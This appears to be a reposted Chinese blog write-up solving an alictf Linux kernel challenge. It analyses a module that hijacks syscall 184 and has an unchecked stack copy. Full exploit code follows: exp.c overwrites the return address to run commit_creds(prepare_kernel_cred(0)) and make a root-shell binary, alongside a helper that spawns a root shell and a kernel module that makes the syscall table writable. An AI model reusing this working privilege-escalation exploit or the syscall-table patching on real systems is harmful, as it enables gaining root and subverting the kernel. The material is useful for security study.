博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
alictf linux exploit解题
阅读量:5992 次
发布时间:2019-06-20

本文共 7495 字,大约阅读时间需要 24 分钟。

hot3.png

1.加载模块

sudo insmod module

dmesg看到有hook字样,猜测可能是模块劫持了系统调用,或者也可能是增加了系统调用

然后自己写了个程序来遍历系统调用,确认了没有增加系统调用
然后自己又写了个模块来遍历sys_call_table和sys_ia32_call_table数组,确认是改动了系统调用.而且系统调用号是184

同时/proc/kallsyms中的符号表和sys_call_table[184],看到了new_kbof_test函数,也就是说,syscall(184),会执行到new_kbof_test函数

于是就分析new_kbof_test函数的功能和参数.

2.反汇编rootme.ko,分析函数功能和参数
(附件有详细的反汇编报告)

objdump -d rootme.ko > 1.txt  反编译代码段
readelf -r rootme.ko > 2.txt     读重定位段的信息
根据重定位段的信息2.txt和反汇编代码的结果1.txt,分析出了这两个函数的功能.
new_kbof_test函数,接收两个参数,第一个是字符串地址,第二个是一个整数类型.
从用户空间拷贝字符串到内核空间,然后调用了buffer_overflow_test函数.
在buffer_overflow_test函数中,又复制相同的字符串到buffer_overflow_test的栈中,不过这个时候没有检测复制的长度,导致可以覆盖rip,函数返回时就会跳到我们覆盖的rip,利用开始.
3.编写exploit
计算rip的偏移地址:0x100+8*3  0x100是buffer_overflow_test函数的栈大小,8*3是因为push了三个8字节的寄存器.
将rip覆盖成exploit中用户态中kernel_code函数的地址.

编译方法:

gcc test.c -o testgcc exp.c -o exp./exp

来张提权成功的截图:

exp.c:

#include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 typedef int __attribute__((regparm(1))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(1))) (* _prepare_kernel_cred)(unsigned long cred); typedef long __attribute__((regparm(2))) (* _sys_chmod) (const char *filename, mode_t mode); typedef long __attribute__((regparm(3))) (*_sys_chown) (const char *filename, uid_t user, gid_t group); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; _sys_chmod sys_chmod; _sys_chown sys_chown; char *filename="/home/kexp/test"; char exp[0x120]={'A'}; int __attribute__((regparm(3))) kernel_code() {   commit_creds(prepare_kernel_cred(0));   sys_chown(filename,0,0);   sys_chmod(filename,7777);   return -1; } unsigned long get_symbol(char *name) {     FILE *f;     unsigned long addr;     char dummy, sym[512];     int ret = 0;       f = fopen("/proc/kallsyms", "r");     if (!f) {         return 0;     }       while (ret != EOF) {         ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);         if (ret == 0) {             fscanf(f, "%s\n", sym);             continue;         }         if (!strcmp(name, sym)) {             printf("[+] resolved symbol %s to %p\n", name, (void *) addr);             fclose(f);             return addr;         }     }     fclose(f);     return 0; } void main() { unsigned long *asd=&exp[0x118]; *asd=(unsigned long)kernel_code; commit_creds = (_commit_creds) get_symbol("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred"); sys_chmod=(_sys_chmod) get_symbol("sys_chmod"); sys_chown=(_sys_chown) get_symbol("sys_chown"); if(sys_chmod==0||commit_creds==0||prepare_kernel_cred==0) {         printf("beiju\n"); } syscall(184,exp,0x120); }

test.c

#include 
 #include 
 #include
 void main() { setuid(0); system("/bin/sh"); }

Myopen.c:(编译Myopen.c的Makefile在下面)

#include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #define GPF_DISABLE write_cr0(read_cr0() & (~ 0x10000)) #define GPF_ENABLE write_cr0(read_cr0() | 0x10000) MODULE_LICENSE("GPL"); MODULE_AUTHOR("Franz Pletz"); MODULE_DESCRIPTION("for teh lulz!"); char *rollfile; void **sys_call_table = (void **)0xffffffff8130e070; /* TODO: change */ module_param(rollfile, charp, 0000); MODULE_PARM_DESC(rollfile, "music trolling file"); module_param(sys_call_table, ulong, 0000); MODULE_PARM_DESC(sys_call_table, "address of the system call table"); void set_addr_rw(unsigned long addr) { unsigned int level; pte_t *pte = lookup_address(addr, &level); if(pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW; } void set_addr_ro(unsigned long addr) { unsigned int level; pte_t *pte = lookup_address(addr, &level); pte->pte = pte->pte &~_PAGE_RW; } static int __init init_rickroll(void) { int i; if(sys_call_table == NULL) { printk(KERN_ERR "Cannot find the system call address\n"); return -1; /* do not load */ } else { printk(KERN_INFO "System call table found @ %lx\n", (unsigned long)sys_call_table); } set_addr_rw((unsigned long)sys_call_table); GPF_DISABLE; for(i=0;i<=298;i++) { printk(KERN_INFO "%d:%x\n",i,sys_call_table[i]); } return 0; } static void __exit exit_rickroll(void) { set_addr_ro((unsigned long)sys_call_table); GPF_ENABLE; } module_init(init_rickroll); module_exit(exit_rickroll);

编译Myopen.c的Makefile:

obj-m+=myopen.oall:    make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd)

反汇编的结果(用ida看很简单就能看出来,不过当时不清楚ida):

0000000000000071 
: 71:   41 54                   push   %r12 73:   ba 00 01 00 00          mov    $0x100,%edx 78:   41 89 f4                mov    %esi,%r12d   //%r12 buffer_overflow_test的第二个参数 7b:   31 f6                   xor    %esi,%esi 7d:   55                      push   %rbp 7e:   53                      push   %rbx 7f:   48 89 fb                mov    %rdi,%rbx    //rbx buffer_overflow_test的第一个参数 82:   48 81 ec 00 01 00 00    sub    $0x100,%rsp 89:   48 89 e7                mov    %rsp,%rdi 8c:   e8 00 00 00 00          callq  91 
 memset(rdi=栈顶,rsi=0,rdx=0x100) 初始化栈 91:   49 63 cc                movslq %r12d,%rcx   //%r12 移动的字符个数 buffer_overflow_test的第二个参数,没有检查长度,有漏洞 94:   48 89 e7                mov    %rsp,%rdi    //栈顶 97:   48 89 de                mov    %rbx,%rsi    //%rbx  buffer_overflow_test的第一个参数,内存地址,可控内容, 9a:   fc                      cld                //增址 9b:   f3 a4                   rep movsb %ds:(%rsi),%es:(%rdi)  可控的内容=>栈中,这里可以覆盖掉rip 9d:   48 81 c4 00 01 00 00    add    $0x100,%rsp a4:   5b                      pop    %rbx a5:   5d                      pop    %rbp a6:   41 5c                   pop    %r12 a8:   c3                      retq00000000000000a9 
: a9:   41 54                   push   %r12 ab:   ba 00 01 00 00          mov    $0x100,%edx b0:   49 89 fc                mov    %rdi,%r12 b3:   55                      push   %rbp b4:   89 f5                   mov    %esi,%ebp b6:   31 f6                   xor    %esi,%esi b8:   53                      push   %rbx b9:   48 81 ec 00 01 00 00    sub    $0x100,%rsp c0:   48 89 e7                mov    %rsp,%rdi c3:   e8 00 00 00 00          callq  c8 
 memset(rdi=rsp,esi=0,edx=0x100) 刚好栈是0x100,初始化栈为0. c8:   48 63 fd                movslq %ebp,%rdi   //??? cb:   be d0 00 00 00          mov    $0xd0,%esi d0:   e8 00 00 00 00          callq  d5 
 memset(rdi=(传入的第二个参数  长度),esi=0xd0) 分配内存0xd0 d5:   48 85 c0                test   %rax,%rax d8:   48 89 c3                mov    %rax,%rbx //kmalloc的返回值,如果成功rdi,不成功返回NULL.. db:   74 14                   je     f1 
 dd:   89 ea                   mov    %ebp,%edx df:   4c 89 e6                mov    %r12,%rsi e2:   48 89 c7                mov    %rax,%rdi e5:   e8 00 00 00 00          callq  ea 
  copy_from_user (rdi=kmalloc返回值,rsi=传入的第一个参数,edx=传入的第二个参数) // ea:   48 85 c0                test   %rax,%rax      //copy_from_user 成功返回0,否则就打印失败信息 //?????????确认copy_from_user的工作方式    copy_from_user(to,from.length) ed:   74 1f                   je     10e 
 ef:   eb 09                   jmp    fa 
 f1:   48 c7 c7 00 00 00 00    mov    $0x0,%rdi   //.rodata.str1.1 + 2d  kmalloc failed   f8:   eb 07                   jmp    101 
 fa:   48 c7 c7 00 00 00 00    mov    $0x0,%rdi            //.rodata.str1.1 + 3e copy data from user fail   101:   31 c0                   xor    %eax,%eax 103:   e8 00 00 00 00          callq  108 
 printk 108:   48 83 c8 ff             or     $0xffffffffffffffff,%rax 10c:   eb 0c                   jmp    11a 
 10e:   89 ee                   mov    %ebp,%esi                // 110:   48 89 df                mov    %rbx,%rdi 113:   e8 00 00 00 00          callq  118 
 buffer_over_flow(rdi=kmalloc返回值,rsi=传入的第二个参数) 118:   31 c0                   xor    %eax,%eax 11a:   48 81 c4 00 01 00 00       add    $0x100,%rsp 121:   5b                      pop    %rbx 122:   5d                      pop    %rbp 123:   41 5c                   pop    %r12 125:   c3                      retq

转载于:https://my.oschina.net/u/209614/blog/336772

你可能感兴趣的文章
Diamond设计思想杂碎
查看>>
Android SDK Readme.txt翻译
查看>>
Keras Sequential model 快速入门
查看>>
CentOS7 安装man中文手册
查看>>
sed命令之练习集
查看>>
INNODB 关键特性
查看>>
计算机系统(一)
查看>>
Day-5
查看>>
字符串的处理[C#]
查看>>
CentOS7 下安装 ansible
查看>>
C#连接Excel和生成Excel
查看>>
wpsca几种使用方法
查看>>
我的友情链接
查看>>
读取局域网ip
查看>>
nginx安装 实现简单负载
查看>>
百万级访问网站前期的技术准备
查看>>
python安装
查看>>
CentOS7.3.1611部署k8s1.5.2集群
查看>>
依赖注入
查看>>
router ospf命令
查看>>